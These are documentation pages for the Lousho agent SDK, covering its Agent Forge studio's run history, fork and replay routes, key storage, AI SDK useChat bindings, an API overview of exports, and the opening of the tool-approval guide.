Saving the agent persists these as `spec.policy.hooks` in the agent's YAML;
the server compiles enabled hooks into a real `HookRegistry` for the run
(`server/compileHooks.ts`), routed through the same `SandboxAdapter` a
sandboxed tool uses.

## Time travel

Agent Forge keeps every run's checkpoints, not just the latest: its file
store (`server/checkpointStore.ts`) keeps the same bounded history as the
SDK's `LocalStorageCheckpointStore` (the newest 50 saves per run, under
`.lousho/agents/<id>/checkpoint-history/`; see
[Checkpoint history](/durable-execution#checkpoint-history)). From
that history you can fork a run at any step, change what happened there,
and replay it next to the original, with
[`AgentExecutor.fork()`](/durable-execution#fork-and-replay) and
`compareTrajectories()` doing the work.

### The History tab

1. Run the agent (Topbar **Run**, or a Chat message).
2. Open the bottom drawer's **History** tab. It lists the run's steps:
   step number, status, the model's finish reason, the tool calls made,
   and the tokens and cost of the step's model call when known.
3. Click **Edit and replay from here** on a step. Choose **Append a user
   message** and type one, or pick one of the step's tool calls to edit
   its result (prefilled with the recorded result; text that parses as
   JSON is sent as JSON).
4. Click **Fork and replay**. The run is forked at that step with your
   edit and started as a new run, `<id>.fork-<n>`.
5. The fork opens next to the original as a side-by-side trajectory: each
   model turn of both runs (text, tool calls and results), the first turn
   where they differ highlighted as **diverged**, and the drift entries
   (tool order, arguments, step count, finish reason) listed below. It
   refreshes when the fork finishes.

### Routes

A run id is the run's checkpoint session id: the agent id for the agent's
own runs, `<id>.fork-<n>` for a fork of run `<id>`. The runtime control
server has three routes for it (the History tab uses them), and two more for
an agent's saved traces (the Trace tab uses them):

| Route | What it does |
| - | - |
| `GET /runs/:id/history` | `{ runId, steps }`: one entry per step of the run's latest execution (the newest checkpoint saved at that step), oldest first, with `status`, `savedAt`, `finishReason`, `toolCalls` (`{ id, name, args, result? }`), and `tokens` / `costUsd` of the step's model call when known. 404 when the run has no checkpoints. |
| `POST /runs/:id/fork` | Body `{ fromStep, patch? }`, where `patch` is `{ toolResult?: { toolCallId, result }, appendInput?, businessState? }`. Forks the run at `fromStep`, then starts the fork through the run registry with the original run's spec. Returns 202 `{ runId, fromStep, status }`; the fork streams on `WS /agents/<runId>/stream` and reports on `GET /agents/<runId>/status` like any run. 400 for a bad body or an unknown `toolCallId`, 404 for an unknown run or a step with no checkpoint. |
| `GET /agents/:id/traces?limit=N` | `{ traces }`: the agent's saved runs from `.lousho/agents/<id>/traces`, newest first (`limit` defaults to 20, at most 200), each with `traceId`, `name`, `startTime`, `durationMs`, `status`, `modelCalls`, `toolCalls`, `inputTokens`, `outputTokens` and `costUsd` when known. An agent with no runs gives an empty list; 404 for an unknown agent. |
| `GET /agents/:id/traces/:traceId` | `{ traceId, spans }`: the spans of one saved run by start time, each with `id`, `parentId`, `name`, `kind`, `status`, `startTime`, `endTime` and `attributes`. `traceId` may be a unique prefix. 400 for an id that is not letters, digits and dashes or a prefix that matches several runs, 404 for an unknown agent or trace. |
| `GET /runs/compare?a=&b=` | `compareTrajectories(a, b)` of two runs' latest checkpoints: each run's model turns, `divergedAt` (the first turn that differs) and the `drift` entries. 404 when either run has no checkpoint. |

The flow, for an agent `weather` that has run once:

```bash theme={null}
# $TOKEN is the ?token= value `lousho studio` printed
curl -H "x-lousho-studio-token: $TOKEN" localhost:4750/runs/weather/history
# {"runId":"weather","steps":[{"step":1,"status":"finished","finishReason":"stop","toolCalls":[],"tokens":...}]}

curl -X POST localhost:4750/runs/weather/fork -H "x-lousho-studio-token: $TOKEN" -H 'content-type: application/json' \
  -d '{"fromStep":1,"patch":{"appendInput":"And in Celsius?"}}'
# {"runId":"weather.fork-1","fromStep":1,"status":{"status":"running",...}}

curl -H "x-lousho-studio-token: $TOKEN" 'localhost:4750/runs/compare?a=weather&b=weather.fork-1'
# {"a":[...],"b":[...],"divergedAt":2,"drift":[{"field":"steps","committed":"1","current":"2"}]}
```

The fork is a run of its own: the original run's checkpoints, status and
chat are unchanged.

## Settings, secrets and deploy wiring

The bottom drawer has a **Settings** tab with three parts: provider API keys
(OpenAI and Anthropic, stored encrypted under `.lousho/` and never shown
again), named settings profiles (provider, deploy adapter, hook timeout,
OpenTelemetry toggle; kept in `.lousho/settings.json`, which holds no
secrets), and a **Deploy** section that picks an adapter (`node-server`,
`docker` or `cloudflare-worker`) and runs `lousho build` for the selected
agent. Other providers still read their environment variables, the same way
`lousho dev`/`lousho build` do (see [Configuration](/configuration)), and
the `mock` provider needs no credentials.

Stored keys are encrypted with AES-256-GCM in `.lousho/secrets.json`. The
encryption key is generated on first use and kept next to it in
`.lousho/secrets.key` (both `0600` on POSIX). This keeps keys out of
anything that copies the ciphertext alone - a backup, a zip of the project,
a shared agent YAML - but anyone who can read both files as your user can
decrypt them. It is not an OS keychain. Keep `.lousho/` out of version
control and out of shared archives, and prefer environment variables on
shared machines.

An agent whose provider has no key (no stored key and no environment
variable) does not run. **Run** and **Chat** fail with
`LOUSHO_PROVIDER_MISSING_API_KEY` and a message naming the fix: add the key
in Settings, set the environment variable, or switch the agent's provider to
`mock`. The studio never swaps in the mock provider on its own. The top bar's
provider pill shows the `provider/model` the agent actually runs on, and a
mock agent carries a **MOCK** badge.

## Dev mode

If you're working inside this SDK's own monorepo (contributing to Agent
Forge itself, not just using it), `lousho studio` falls back to dev mode
automatically as long as `apps/agent-forge/dist-server` hasn't been built
yet:

```bash theme={null}
git clone https://github.com/LinuxDevil/agent-sdk.git
cd agent-sdk
npm install
npx lousho studio --dev   # or just `npx lousho studio` before building
```

This runs the API server straight from TypeScript (`tsx`) and a real Vite
dev server with hot-module reload for `apps/agent-forge/src/**`, as two
sibling processes. Open the printed `http://localhost:5173/?token=...` URL; Vite
is pinned to port 5173 and the API server accepts that origin. To build the production bundle used by everyone else
(and to verify what actually ships):

```bash theme={null}
npm run build:studio   # builds apps/agent-forge/dist (client) and
                        # apps/agent-forge/dist-server (bundled server)
npx lousho studio       # now runs in production mode
```

`npm run build:studio` also runs automatically as part of the root
`prepublishOnly` script, so a published `npm publish` can never ship a
stale or unbuilt studio.

## E2E smoke test

`apps/agent-forge/e2e/studio.spec.ts` is a headless Playwright test that
drives the real, built `lousho studio` (the same `dist-server/index.cjs`
production server, not a dev-mode Vite server) through a browser: it
creates an agent from the "Support bot" template, retargets its tool node
at a server-local `demo-approval` tool (always `needsApproval: true` -
see `server/buildAgent.ts`'s doc comment for why this exists, since none
of the SDK's spec-resolvable built-in tools require approval), sends it a
chat message that triggers the mock provider's tool-call heuristic, waits
for the run to pause on the approval gate, approves it via the Chat tab's
inline approval card, and asserts the run completes. Run it with:

```bash theme={null}
npm run test:e2e:studio   # from the repo root, or apps/agent-forge/
```

This builds Agent Forge first (`build:studio`), then runs Playwright
against it.


# AI SDK UI (useChat)
Source: https://lousho.com/ai-sdk-ui



If your front end already uses the Vercel AI SDK's UI hooks (`useChat` from
`@ai-sdk/react`, and the Vue, Svelte and Angular equivalents), you can keep
them and run a Lousho agent behind the route. Three functions, exported from
the package root, do the translation. They import nothing from `ai`, use no
`node:*` module, and work on Node, Workers and any Fetch-based runtime.

| Function | Direction | What it does |
| - | - | - |
| `toUIMessageStream(run)` | out | the run's events as a `ReadableStream` of UI message chunks |
| `toUIMessageStreamResponse(run, init?)` | out | a `Response`: SSE, `data: [DONE]` at the end, header `x-vercel-ai-ui-message-stream: v1` |
| `fromUIMessages(messages, { lastUserOnly? })` | in | the `UIMessage[]` `useChat` posts as an `AgentInput` |

## Route handler

The `vendor/` model prefix chooses the provider; with OpenRouter use
`openrouter/<vendor>/<model>` (e.g. `openrouter/openai/gpt-4o-mini`).

```ts theme={null}
import { createAgent, fromUIMessages, memoryStore, toUIMessageStreamResponse, type UIMessageLike } from '@lousho/build-ai-agent';

// The store must outlive the request: without one, every `agent.session({ id })`
// gets a fresh in-memory transcript and the next turn would start empty.
// `memoryStore()` keeps it for the process's life; for a serverless deployment
// or to survive a restart use `fileStore()`, a `SqliteStore` or `KVStore`
// (see [Sessions](sessions.md#choosing-a-store)).
const agent = createAgent({ model: 'openai/gpt-4o-mini', instructions: 'You are helpful.', store: memoryStore() });

// app/api/chat/route.ts
export async function POST(request: Request): Promise<Response> {
  const { id, messages } = (await request.json()) as { id: string; messages: UIMessageLike[] };
  // The session (keyed on the chat id) keeps the transcript, so only the new user message is the input.
  const session = agent.session({ id });
  return toUIMessageStreamResponse(session.stream(fromUIMessages(messages, { lastUserOnly: true })));
}
```

Without a session, pass every message instead:
`toUIMessageStreamResponse(agent.stream(fromUIMessages(messages)))`.

## Client

```tsx theme={null}
import { useChat } from '@ai-sdk/react';
import { DefaultChatTransport } from 'ai';

export function Chat() {
  const { messages, sendMessage } = useChat({
    transport: new DefaultChatTransport({ api: '/api/chat' }),
  });
  return (
    <>
      {messages.map((message) =>
        message.parts.map((part, i) =>
          part.type === 'text' ? <p key={i}>{part.text}</p> : null
        )
      )}
      <button onClick={() => sendMessage({ text: 'Weather in Paris?' })}>Ask</button>
    </>
  );
}
```

This snippet targets `ai` 6 and 7 (`useChat` takes a `transport`, and
`sendMessage` posts the message). On `ai` 4 — also a supported peer —
`useChat({ api: '/api/chat' })` takes the endpoint directly and returns
`input` / `handleInputChange` / `handleSubmit` instead of `sendMessage`;
`ai` 5 is not in the peer range.

## Event mapping

| Lousho event | UI message chunk |
| - | - |
| `run.start` | `start` (`messageId` is the run id) |
| `step.start` / `step.done` | `start-step` / `finish-step` |
| `text.delta`, `text.done` | `text-start` (once per text part), `text-delta`, `text-end` |
| `reasoning.start`, `reasoning.delta`, `reasoning.done` | `reasoning-start`, `reasoning-delta`, `reasoning-end` (see [Reasoning](/reasoning)) |
| `tool.start` / `tool.resume` | `tool-input-start`, then `tool-input-available` with the arguments |
| `tool.partial` | `tool-output-available` with `preliminary: true` (AI SDK 5+): a snapshot of a [streaming tool](/tools#streaming-partial-results) |
| `tool.done` / `tool.error` | `tool-output-available` / `tool-output-error` |
| `approval.requested` | `data-lousho-approval` (below) |
| `todo.updated` | `data-lousho-todos`: a data part `{ todos, counts }` with the complete todo list, under the id `todos` so each update replaces the last (see [Todo tools](/tools#todo-tools)) |
| `error` | `error` |
| `run.done` | `finish` |

A streaming tool's snapshots arrive as preliminary outputs, which `useChat`
shows as the tool part's `output` with `preliminary: true`; the `tool.done`
chunk after them has no `preliminary` and is the final output.

Events with no UI counterpart (retries, compaction, permission decisions,
guardrails, ...) and the events of sub-agents are not forwarded. The `finish`
chunk's `finishReason` is the AI SDK's (`stop`, `length`, `content-filter`,
`tool-calls`, `error`; anything else, such as `awaiting-approval` or
`max-steps`, is `other`).

## Usage and cost

Usage goes in the `finish` chunk's `messageMetadata`, so `message.metadata` on
the finished assistant message has it:

```json theme={null}
{ "runId": "run_1", "loushoFinishReason": "stop", "usage": { "totalTokens": 120, "costUsd": 0.0004 } }
```

`usage` is the run's `AgentEventUsage` (absent when the run failed);
`loushoFinishReason` is the run's own finish reason, unmapped.

## Approvals and `ask_question`

A tool that needs approval, or an `ask_question` call, pauses the run: the
stream ends (`finish` with `loushoFinishReason: "awaiting-approval"`) after a
custom data part, which `useChat` shows as a part of type
`data-lousho-approval`:

```json theme={null}
{
  "type": "data-lousho-approval",
  "id": "appr_1",
  "data": {
    "approvalId": "appr_1",
    "toolCallId": "call_1",
    "toolName": "deploy",
    "input": { "env": "prod" },
    "kind": "question",
    "question": { "text": "Which environment?", "options": ["staging", "prod"] }
  }
}
```

`kind` and `question` are present only for an `ask_question`; a tool waiting
for an [OAuth sign-in](/oauth#what-the-user-sees) instead carries
`kind: 'sign-in'` and `signIn: { provider, displayName?, url }` — show the
link and, once the provider redirected back, approve it ("I've signed in").
Render the part
with your own buttons and answer it with the session API's approvals route
(`POST /chat/:sessionId/approvals/:approvalId`, see [Sessions](/sessions) and
[Approvals](/approvals)): `{ "approved": true }` or `{ "approved": false,
"note": "..." }` for a tool, `{ "answer": "prod" }` for a question. The response
is the continuation as an event stream, which you can read with the UI
bindings' parser or ignore and call `useChat`'s `sendMessage` again; or, in
your own route, call `agent.approvals.streamResolve()` /
`streamAnswer()` and return `toUIMessageStreamResponse()` of the result, so
the continuation renders in the same chat.

## Inbound conversion

`fromUIMessages()` maps text parts to text, `image/*` file parts to image
parts and other file parts to file parts (the part's `url`, a `data:` or
`http(s)` URL, becomes the data). Tool, reasoning, data, source and unknown
parts are ignored, and messages that end up empty are dropped.

The messages come from the client, so only `user` and `assistant` messages are
kept: a `system` message (or any other role, or an entry that is not a message)
is dropped, so a caller cannot add instructions to the agent's prompt. Set
instructions on the agent (`createAgent({ instructions })`), not in the request.

A dedicated `@lousho/build-ai-agent/ai-sdk-ui` subpath may follow; for now the
functions come from the package root.


# API Overview
Source: https://lousho.com/api-overview

The package root (@lousho/build-ai-agent) exports everything below. For the complete, generated API reference (every export, signature and doc comment), build the TypeDoc site:

```bash theme={null}
npm run docs:build   # writes docs/api/index.html
```

> Snippets on this page leave some names to you: `mcpClient` is a connected MCP `Client`; `provider` is any `LLMProvider` (offline: `createMockProvider()`).

How the pieces fit:

```text theme={null}
┌─────────────────────────────────────┐
│         Your Application            │
│    (React, Vue, Express, etc.)      │
└──────────────┬──────────────────────┘
               │
┌──────────────▼──────────────────────┐
│     @lousho/build-ai-agent          │
│  ┌────────────────────────────┐    │
│  │ createAgent / Builder /     │    │
│  │ Executor (approvals,        │    │
│  │ checkpoints, tracing)       │    │
│  ├────────────────────────────┤    │
│  │ Tools │ Sub-agents │ MCP    │    │
│  │ Flows │ Guardrails │ Evals  │    │
│  ├────────────────────────────┤    │
│  │       Core Engine          │    │
│  └────────────────────────────┘    │
└──────────────┬──────────────────────┘
               │
┌──────────────▼──────────────────────┐
│  Your LLM Provider & Deploy Target  │
│ (OpenAI/Anthropic/Ollama/OpenRouter,│
│  Node server / Docker / Workers)    │
└─────────────────────────────────────┘
```

## Building and running agents

| Export | Description |
| - | - |
| `createAgent(config)` | Zero-config `{ send(message) }` agent from a `model` string or provider (+ instructions, tools). |
| `AgentBuilder` (from `@lousho/build-ai-agent/executor`) | Fluent builder for an `AgentConfig` (`AgentBuilder.create().setName(...)...build()`). Advanced: see [the executor API](/executor-api). |
| `AgentExecutor.execute(opts)` (from `@lousho/build-ai-agent/executor`) | Static executor: runs an agent (LLM + tool-calling loop) and resolves to an `ExecutionResult`. Advanced: see [the executor API](/executor-api). |
| `resumeAfterApproval()` (from `@lousho/build-ai-agent/executor`) | Resume an execution paused for human approval. Advanced: see [the executor API](/executor-api). |
| `InMemoryApprovalStore` | Process-local `ApprovalStore`; the default store of `createAgent()` agents. |
| `StorageServiceApprovalStore`, `LocalStorageCheckpointStore` (from `/utils`) | File-backed approval and checkpoint stores over a `StorageService` (see [Approvals](/approvals), [Durable execution](/durable-execution)). |
| `SqliteStore` (from `/sqlite`) | Sessions, checkpoints and approvals in one SQLite file (see [Sessions](/sessions#choosing-a-store)). |
| `fileStore(dir)` | Sessions, checkpoints and approvals as plain JSON files under `dir` (see [Sessions](/sessions#choosing-a-store)). |
| `KVStore`, `KVCheckpointStore` (from `/kv`) | Stores on a Cloudflare Workers KV binding, for a hand-written Worker (see [Deployment](/deployment)). |
| `AgentStore`, `memoryStore()` | The `createAgent({ store })` option: `{ sessions?, checkpoints?, approvals?, tokens? }`, and an in-memory one (see [Sessions](/sessions#choosing-a-store); `tokens` holds OAuth tokens, see [OAuth](/oauth)). |
| `SessionAwaitingApprovalError` | Thrown by `execute()` when its `sessionId` is paused on an approval (see [Durable execution](/durable-execution)). |
| `SDKError`, `ERROR_CODES` | Base class of the SDK's errors: a stable `code`, a `hint` and a `docs` link (see [Errors](/errors)). |

### Dynamic config

`createAgent()`'s `model`, `instructions` and `tools` each take
the static value or a function of the run, `(ctx) => value | Promise<value>`
(type `PerRun<T>`). `ctx` is `{ sessionId?, input, metadata?, principal? }` (type
`RunConfigContext`): the `sessionId` of `send()` / `stream()` or the
`agent.session()` id, the run's user input, the `metadata` call option of
`send()`, `stream()`, `session.send()` and `session.stream()`, and the caller
the run's auth accepted (`principal`, absent when the call did not pass one).
The functions
run once when a run starts, before the first model call, and again on every
session turn. Everything else applies to what they return: `fallbackModels`
and `retry`, `projectInstructions`, memory, skills, sub-agents, MCP tools,
permissions, approvals and guardrails. A dynamic agent used as a sub-agent
resolves with the task prompt as `input` and the lead run's `sessionId`,
`metadata` and `principal`.

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { mockModel } from '@lousho/build-ai-agent/testing';
import { z } from 'zod';

const refund = defineTool({ name: 'refund', description: 'Refunds an order', input: z.object({ orderId: z.string() }), execute: async () => 'ok' });

const agent = createAgent({
  provider: mockModel(['Hello!']),
  // A cheaper model for short inputs, tenant instructions, tools by role.
  model: ({ input }) => (typeof input === 'string' && input.length < 200 ? 'small-model' : 'large-model'),
  instructions: ({ metadata }) => `You are the support agent of ${String(metadata?.tenant ?? 'Acme')}.`,
  tools: ({ metadata }) => (metadata?.role === 'admin' ? [refund] : []),
});

await agent.send('Hi', { metadata: { tenant: 'Globex', role: 'admin' } });
```

A function that throws fails the run with `LOUSHO_CONFIG_RESOLVER_FAILED`
(`error.field` names the option, `error.cause` is the thrown error): `send()`
rejects, `stream()` ends with an `error` event and a session keeps its
transcript as it was. A run paused for an approval or a question keeps the
`ctx` and the model it resolved in the paused snapshot: resuming it, even from
another process, uses that model (it never switches mid-turn) and calls the
`tools` function again with the same `ctx`. A run resumed from a crash
checkpoint (`agent.resume(id)`) resolves again with `input: []` and no
`metadata`. With only static values nothing changes: the agent is built once,
when it is created.

### UI bindings

`@lousho/build-ai-agent/react` exports `useLoushoAgent(source, options?)`, a
React hook that runs an agent in process (`{ agent, sessionId? }`) or over HTTP
(`{ url }`) and returns `messages`, `status`, `pendingApproval`,
`send()`, `stop()`, `approve()` and `reject()`. Its framework-neutral parts,
`reduceAgentEvents()` and `parseEventStream()`, are exported too. See
[React](/react). `@lousho/build-ai-agent/vue` exports the same
`useLoushoAgent()` as a Vue 3 composable, with the state as refs. See
[Vue](/vue). `@lousho/build-ai-agent/svelte` exports `loushoAgent()`, the
same state and actions as a Svelte store (`$agent`). See [Svelte](/svelte).

### Sub-agents

Pass `subagents: { researcher, writer }` (agents from `createAgent()` with a
`description`, or a `{ list, resolve }` catalog) to `createAgent()` or
`AgentExecutor.execute()`: the lead gets a `task` tool to delegate, the three
background-task tools `agent_status`, `agent_await` and `agent_cancel`, and a
prompt listing,
each sub-agent runs on the task prompt alone, and it inherits the lead run's
signal, hooks (`ctx.subagent`), tracing, approval store and event listeners
(`event.subagent`). `maxSubagentDepth` (default 1) bounds nesting. See
[Sub-agents](/sub-agents).

### Approvals

A `createAgent()` agent pauses on a `needsApproval` tool instead of failing:
`send()` (and `session.send()`) resolves with `finishReason: 'awaiting-approval'`
and an `approvalId`. `agent.approvals.list()` returns the pending calls and
`agent.approvals.resolve({ id, approved, note? })` runs or rejects the call and
resolves with the continued run's result (continuing the session it paused
in). Pauses are kept in a per-agent `InMemoryApprovalStore` unless you pass
`approvalStore` (e.g. `SqliteStore.approvals`) or a `store`; `approve: (request: PendingApproval) => boolean | string | Promise<boolean | string>`
decides each call in code without pausing (`stream()` still ends at the
pause) — `request` carries the call plus its `kind` and `principal`. With `askQuestion: true` the agent can ask the user a question
(`kind: 'question'`), answered with `agent.approvals.answer({ id, answer })`.
See [Approvals](/approvals).

### Structured output

Pass `output: zodSchema` to `createAgent()` (or `AgentExecutor.execute()` /
`stream()`): the final reply must be a JSON object matching the schema, and
`send()` / `run.result` resolve with it validated as `result.object`, typed
`z.output<typeof schema>` (`result.text` keeps the raw JSON). Tools still run
first. Each model call carries a `responseFormat: { type: 'json', schema }`
hint, which the `ai`-SDK providers map to JSON mode. An invalid reply gets one
repair step listing the issues (it counts against `maxSteps`); if that is
invalid too, the run ends with `finishReason: 'output-invalid'` and
`outputError: { message, issues }`. See [Structured output](/structured-output).

### Skills

Pass `skills: [defineSkill({ name, description, content }), ...(await loadSkills(dir))]` to
`createAgent()` or `AgentExecutor.execute()`: only names and descriptions go in
the system prompt and the model loads bodies through an auto-registered
`load_skill` tool. See [Skills](/skills).

### Memory

Pass `memory: [defineMemory({ name, scope, provider })]` to `createAgent()` to
keep items across conversations: each run recalls a slot's newest items into
the system prompt on its first model call, and the model gets
`remember_<name>` / `recall_<name>` tools. `scope` is `'global'`, `'session'`
or a function of `{ sessionId, metadata }`; `inMemoryMemory()` and
`fileMemory({ dir })` are the built-in providers. See [Memory](/memory).

### Durable execution

`sessionId` + `checkpointStore` make a run crash-safe and a session
multi-turn: the run is checkpointed after every model response, every tool
result and every pause, and calling `execute()` again with the same
`sessionId` resumes an unfinished run (without re-calling the model for a
turn it already has), continues a finished conversation with the new
input, or throws `SessionAwaitingApprovalError` while an approval is
pending. Tools run at-least-once across a crash; `execute` receives the
call's `toolCallId` to use as an idempotency key. See
[Durable execution](/durable-execution) for the exact guarantees.

How a run ends (finish reasons), how to cancel one and how tool calls run in parallel: see [Runs](/runs).

## Declarative specs

| Export | Description |
| - | - |
| `loadSpec(path)` | Load and validate a `.yaml`/`.yml`/`.json` `AgentSpec` file. |
| `agentSpecSchema` | The zod schema for `AgentSpec`. |
| `specToAgent(spec)` | Turn an `AgentSpec` into a live `createAgent()` agent. |

## Providers

| Export | Description |
| - | - |
| `resolveProvider('p/model')` | Build a real provider from env-var credentials. |
| `LLMProviderRegistry` | Registry of provider factories (`create`, `register`, `has`). |
| `OpenAIProvider`, `AnthropicProvider`, `OllamaProvider`, `OpenRouterProvider` | Provider classes. |
| `createMockProvider()`, `MockLLMProvider` | Deterministic mock provider for tests and demos. |
| `withRetry(provider, opts?)`, `withFallback(providers, opts?)` | Retry transient provider failures with backoff; fall back to the next provider. See [Configuration](/configuration#provider-retries-and-fallback). |
| `textOf(message)` | The text of a message: its string `content`, or its text parts joined. |

`Message.content` is a string or a list of `ContentPart`s (`text`, `image`,
`file`); the built-in providers send image parts on user messages. See
[Multimodal input](/providers#multimodal-input).

See [Providers](/providers) for how a model string is resolved and which model runs.

## Testing

Exported from `@lousho/build-ai-agent/testing` (see [Testing agents](/testing)).

| Export | Description |
| - | - |
| `mockModel(script)` | Scripted, deterministic `LLMProvider` that records every request (`calls`, `lastCall`, `reset()`, `assertExhausted()`). |
| `recordReplay(options)` | Record/replay VCR provider that serves model responses from a cassette. |

## Tools

| Export | Description |
| - | - |
| `defineTool({ name, description, input, execute, ... })` | Define a tool; `execute`/`needsApproval` args are inferred from the zod `input`. Accepted by `createAgent({ tools: [...] })`, `ToolRegistry.register(tool)` and `AgentBuilder.addTool(tool)`. |
| `ToolInput<typeof t>`, `ToolOutput<typeof t>` | Argument and result types of a defined tool. |
| `ToolRegistry` (from `@lousho/build-ai-agent/tools` or `@lousho/build-ai-agent/executor`) | Holds the tools an agent config refers to (advanced: `register(tool)` or `register(name, descriptor)`). |
| `httpTool`, `currentDateTool`, `dayNameTool` | Built-in tools. |
| `createFsTools(fs, options?)`, `createShellTool(shell, options?)` | Workspace tools (`read_file`, `write_file`, `edit_file`, `list_dir`, `glob`, `grep`, `shell`) over an `FsProvider` / `ShellProvider`. See [Workspace tools](/workspace-tools). |
| `NodeWorkspace`, `MemoryWorkspace`, `SandboxShell` | Workspace providers: a real directory (paths confined to `root`, minimal shell env), an in-memory tree with a scripted `exec` for tests, and a `ShellProvider` over a `SandboxAdapter` (Docker). |
| `createTodoTools({ store?, onChange? })` | `todo_write` / `todo_read` tools (plus `getTodos()`) so agents can plan and track multi-step work; see [Todo tools](/tools#todo-tools). |
| `connectMcp(servers, options?)` | Connect MCP servers from config (stdio or HTTP) and load their tools; see [Share servers with `connectMcp()`](/mcp-integration#share-servers-with-connectmcp). |
| `loadMcpTools(client, connectionName)` | Load a connected MCP server's tools as `ToolDescriptor`s. Available from the package root, `@lousho/build-ai-agent/tools`, and `@lousho/build-ai-agent/mcp`. |

See [Tools](/tools) for a guide to defining and registering tools.

```ts theme={null}
import { defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const sendEmail = defineTool({
  name: 'send_email', // 1-64 chars: letters, digits, _ and -
  description: 'Send an email',
  input: z.object({ to: z.string().email(), subject: z.string() }),
  needsApproval: ({ to }) => !to.endsWith('@mycompany.com'), // `to` is typed
  async execute({ to, subject }) {
    return { messageId: `${to}:${subject}` };
  },
});
```

Optional fields: `displayName`, `needsApproval` (boolean or predicate),
`requiresSandbox` and `sandboxExecute`. Defining a tool validates its name,
description and zod `input` immediately; registering two tools with the same
name throws an error naming the conflict.

A defined tool carries its schema as `inputSchema` (the same zod schema as
`input`) and its `execute` function directly. These are the canonical fields of
a `ToolDescriptor`; the `.tool` object (an `ai` v4 `{ description, parameters,
execute }`) is legacy, still built for compatibility, and used only for
descriptors that do not set `inputSchema` / `execute`.

```ts theme={null}
import { loadMcpTools } from '@lousho/build-ai-agent/mcp';

const tools = await loadMcpTools(mcpClient, 'my-server');
```

**Schema support.** Each tool's JSON Schema `inputSchema` is converted to a
zod schema, and the model's arguments are validated against it before the
server is called. The converter handles `type` (including arrays such as
`["string", "null"]`), `enum` with mixed types, `const`, `anyOf` / `oneOf`
(a union; `anyOf: [X, { type: "null" }]` becomes `X.nullable()`), `allOf`
(merge / intersection), local `$ref` into `$defs` / `definitions`,
`properties` / `required`, `additionalProperties` (boolean or schema), `items`,
`default`, and the constraints `minimum`, `maximum`, `exclusiveMinimum`,
`exclusiveMaximum`, `minLength`, `maxLength`, `pattern`, `minItems` and
`maxItems`. Where JSON Schema is ambiguous the conversion is permissive:
unknown keywords, empty schemas, tuple `items` and unresolvable refs become
`z.any()`, a recursive `$ref` is expanded once and `z.any()` is used for the
inner occurrence, an invalid `pattern` regex is skipped, and objects keep
extra properties unless `additionalProperties` is `false`. The converter never
throws on schema content.

**Skipped tools.** If one tool still cannot be converted, only that tool is
skipped; the rest of the server's tools load. Pass a `logger` to receive a
warning naming the server, the tool and the reason, and `onSkip` to collect
what was left out:

```ts theme={null}
import { loadMcpTools, type SkippedMcpTool } from '@lousho/build-ai-agent/mcp';

const skipped: SkippedMcpTool[] = [];
const tools = await loadMcpTools(mcpClient, 'my-server', {
  logger: console,
  onSkip: (tool) => skipped.push(tool), // { name, reason }
});
```

**Results.** An MCP result with `isError: true` is a normal tool failure: the
model receives `{ "error": "McpToolError", "toolName": "...", "message": "..." }`
where `message` is the server's text content. Successful results are
JSON-serializable: if the server returns `structuredContent` it is the result
object; otherwise the result is `{ text, content }`, where `text` joins all
text parts and `content` keeps every part in order (`text`, `image`, `audio`,
`resource`, `resource_link`; an unrecognised part type is kept as
`{ type: 'unknown', raw }`). When `structuredContent` arrives together with
non-text parts the result is `{ structuredContent, text, content }` with
`content` holding only the non-text parts, so images, audio and resources are
never dropped.

Todo tools and tool errors: see [Tools](/tools#todo-tools).

## Models, tokens and cost

Token estimates, the model price table, and the usage and cost of a run: see [Models, tokens and cost](/models-and-cost). Context compaction is on [its own page](/compaction).

## Flows, evals, observability and security

* `FlowBuilder` / `FlowExecutor` (`@lousho/build-ai-agent/flows`) - multi-step
  workflow graphs; see [Flows](/flows).
* `TriggerAdapter` and `TriggerRegistry` (`@lousho/build-ai-agent/triggers`) -
  the extension point for your own wake-up mechanism, plus `verifySlackSignature()`,
  `parseCronExpression()` and the `WebhookAuth` helpers; see [Triggers](/triggers).
* `jwt()`, `oidc()`, `basic()`, `apiToken()`, `anonymous()` and `routeAuth()`
  (`@lousho/build-ai-agent/auth`) - route auth as an ordered list; the caller
  it accepts reaches the run as `principal`; see [Route auth and principals](/auth).
* `defineEval()`, scorers such as `exactMatch`, `toolCallOrder` and `budget`, checks such
  as `includes` and `atLeast`, and `llmJudge()` - agent evals run under vitest
  or `lousho eval`; see [Evals](/evals).
* `withSpan()` and `TraceExporter` - tracing for `AgentExecutor.execute()`.
  `TraceExporter` is a bring-your-own-exporter interface (no exporter
  ships by default); for real OpenTelemetry spans, import
  `createOtelTraceExporter()` from the `@lousho/build-ai-agent/otel`
  subpath (requires the optional peer dependency `@opentelemetry/api`)
  instead of hand-rolling the OTel bridge - see
  `examples/tracing/run-otel.ts`. Spans follow the OpenTelemetry GenAI
  semantic conventions (flows are traced too); see
  [observability](/observability).
* `NoopSandbox` / `SubprocessSandbox` - sandboxing for tools that opt in via
  `requiresSandbox`; `runPatchChecks()` and patch checks such as
  `createCommandCheck()`, `createDiffSizeCheck()` and
  `secretScanCheck`. See [Guardrails and sandboxing](/guardrails).
* `HookRegistry`, `AgentHook`, `HookContext`, `ToolCallHookContext`,
  `GenerateHookContext` - hooks that observe, deny, rewrite or redact tool calls
  and model calls. See [Hooks](/hooks).
* `EncryptionUtils`, `sha256`, `StorageService`
  (`@lousho/build-ai-agent/utils`) - supporting utilities; see
  [Utilities](/utilities).

## Deployment

* `DeploymentAdapter`, `registerAdapter()`, `getAdapter()`, `listAdapters()` -
  the adapter registry behind `lousho build` (see [Deployment](/deployment)).


# Approvals
Source: https://lousho.com/approvals



Flag a tool `needsApproval` and the run pauses before calling it, until a human
(or your code) approves or rejects the call. The pause is saved in an
`ApprovalStore`, so the decision can come minutes or days later, from another
request or another process, and the run then continues where it stopped.

See also: [Pause, restart, resume](/pause-and-resume), a short end-to-end tutorial.

> Snippets on this page leave some names to you: `provider` is any `LLMProvider` (offline: `createMockProvider()`); `agent` is a `createAgent()` result; `input` is the user's text, a `string`; `emailTool` is a tool built with `defineTool()`; `storage` is a `StorageService`; `toolRegistry` is a `ToolRegistry`.

```ts theme={null}
import { createAgent, defineTool } from '@lousho/build-ai-agent';
import { z } from 'zod';

const sendEmail = defineTool({
  name: 'send_email',
  description: 'Send an email',
  input: z.object({ to: z.string() }),
  needsApproval: true,
  execute: async ({ to }) => `sent to ${to}`,
});
const agent = createAgent({ provider, instructions: 'You send emails.', tools: [sendEmail] });

